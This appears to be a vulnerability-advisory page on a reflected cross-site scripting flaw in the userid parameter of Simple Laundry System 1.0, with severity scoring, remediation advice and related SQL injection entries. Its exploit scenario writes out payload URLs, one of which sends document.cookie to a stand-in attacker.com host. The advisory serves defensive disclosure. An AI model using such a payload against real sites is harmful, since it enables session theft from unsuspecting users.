EUVD-2026-19034Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Impact | The CVSS score of 4.3 reflects low-to-moderate severity: network-accessible (AV:N), low attack complexity (AC:L), requires no privileges (PR:N), but mandates user interaction (UI:R) and results only in integrity impact (I:L) without confidentiality or availability loss. The CVSS vector includes E:P (public exploit code exists) and RC:R (reasonable confidence), confirming public disclosure. While CVSS is below the 5.0 threshold, real-world risk is elevated by three factors: (1) publicly available proof-of-concept code lowers the barrier to exploitation, (2) XSS affecting a staff information system could enable session hijacking or phishing-based lateral movement in organizational networks, and (3) simple PHP applications like laundry systems often lack WAF protection or regular patching. This is a medium-priority issue for organizations running Simple Laundry System, though lower-risk for isolated or non-business-critical deployments. |
| Exploit ScenarioDerived | An attacker crafts a malicious URL such as http://target.com/modstaffinfo.php?userid=<script>alert('XSS')</script> or userid=1' onload='fetch("https://attacker.com/steal.php?cookie="+document.cookie)' and distributes it via phishing email or posts it on the organization's internal systems. When an authorized user (staff member) clicks the link while logged in, the JavaScript executes in their browser, potentially stealing session cookies, performing actions on their behalf, or redirecting them to a credential-harvesting page. Public exploit code is available on GitHub (https://github.com/boyslikesports/vul-web/issues/2), making this attack trivial for opportunistic or low-skill attackers to execute. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 05, 2026
Cross-site scripting (XSS) in code-projects Simple Laundry System 1.0 allows remote attackers to inject malicious scripts via the userid parameter in /modstaffinfo.php, affecting confidentiality and integrity of user sessions. The vulnerability requires user interaction (clicking a crafted link) and has a publicly available exploit (CVSS 4.3, EPSS signal: E:P indicates public exploit availability). This is a stored or reflected XSS vulnerability in a PHP-based application with low CVSS severity but non-negligible real-world risk due to ease of exploitation and public disclosure.
RemediationAI
Immediately upgrade code-projects Simple Laundry System to a patched version if available from the vendor at https://code-projects.org/; no specific patched version is confirmed in available data. As a workaround pending a vendor patch, implement input validation and output encoding: validate the userid parameter against a strict allowlist (numeric or alphanumeric pattern only), and HTML-encode all output of the userid parameter in /modstaffinfo.php using PHP functions such as htmlspecialchars() or htmlentities(). Deploy a Web Application Firewall (WAF) rule to block requests with special characters in the userid parameter. Consult the vendor advisory at https://code-projects.org/ for official patching guidance.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability exists in the Parameter Handler component of Simple Laundry System, specifically in the /modstaffinfo.php file where the userid parameter is processed without proper input sanitization or output encoding. This is a classic CWE-79 (Improper Neutralization of Input During Web Page Generation) vulnerability in a PHP application. The userid parameter likely flows directly into HTML output or JavaScript context without being escaped, allowing attackers to inject arbitrary HTML/JavaScript code that executes in victims' browsers when they interact with the crafted parameter. The affected product is identified via CPE as code-projects Simple Laundry System version 1.0 and potentially other versions using the wildcard notation.
Know when Simple Laundry System gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
Primary rating from Vendor (VulDB) · only source for this CVE.
CVSS VectorVendor: VulDB
Lifecycle Timeline
4DescriptionCVE.org
A vulnerability was determined in code-projects Simple Laundry System 1.0. Impacted is an unknown function of the file /modstaffinfo.php of the component Parameter Handler. Executing a manipulation of the argument userid can lead to cross site scripting. The attack may be launched remotely. The exploit has been publicly disclosed and may be utilized.
Threat Intelligence Overview
NVD
CVE.org
EPSS
Vulnrichment
GitHub
VulDB
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Related Vulnerabilities in Simple Laundry System SQL Injection and XSS
View all 4More in Simple Laundry System
View allSQL injection in code-projects Simple Laundry System 1.0 allows unauthenticated remote attackers to execute arbitrary SQ
SQL injection in code-projects Simple Laundry System 1.0 allows unauthenticated remote attackers to extract, modify, or
SQL injection in code-projects Simple Laundry System 1.0 allows unauthenticated remote attackers to extract, modify, or
SQL injection in Simple Laundry System 1.0's /checkregisitem.php parameter handler allows unauthenticated remote attacke
SQL injection in Simple Laundry System 1.0 PHP application allows unauthenticated remote attackers to execute arbitrary
SQL injection in Simple Laundry System 1.0's /checklogin.php parameter handler allows unauthenticated remote attackers t
SQL injection in Simple Laundry System 1.0's /checkupdatestatus.php parameter handler allows unauthenticated remote atta
SQL injection in Simple Laundry System 1.0 through the serviceId parameter in /viewdetail.php allows unauthenticated rem
Cross-site request forgery in code-projects Laundry System 1.0 allows an attacker to perform unauthorized actions on beh
Cross-site scripting (XSS) in code-projects Simple Laundry System 1.0 allows remote attackers to inject arbitrary script
Reflected cross-site scripting (XSS) in code-projects Simple Laundry System 1.0 allows unauthenticated remote attackers
Exploit-DB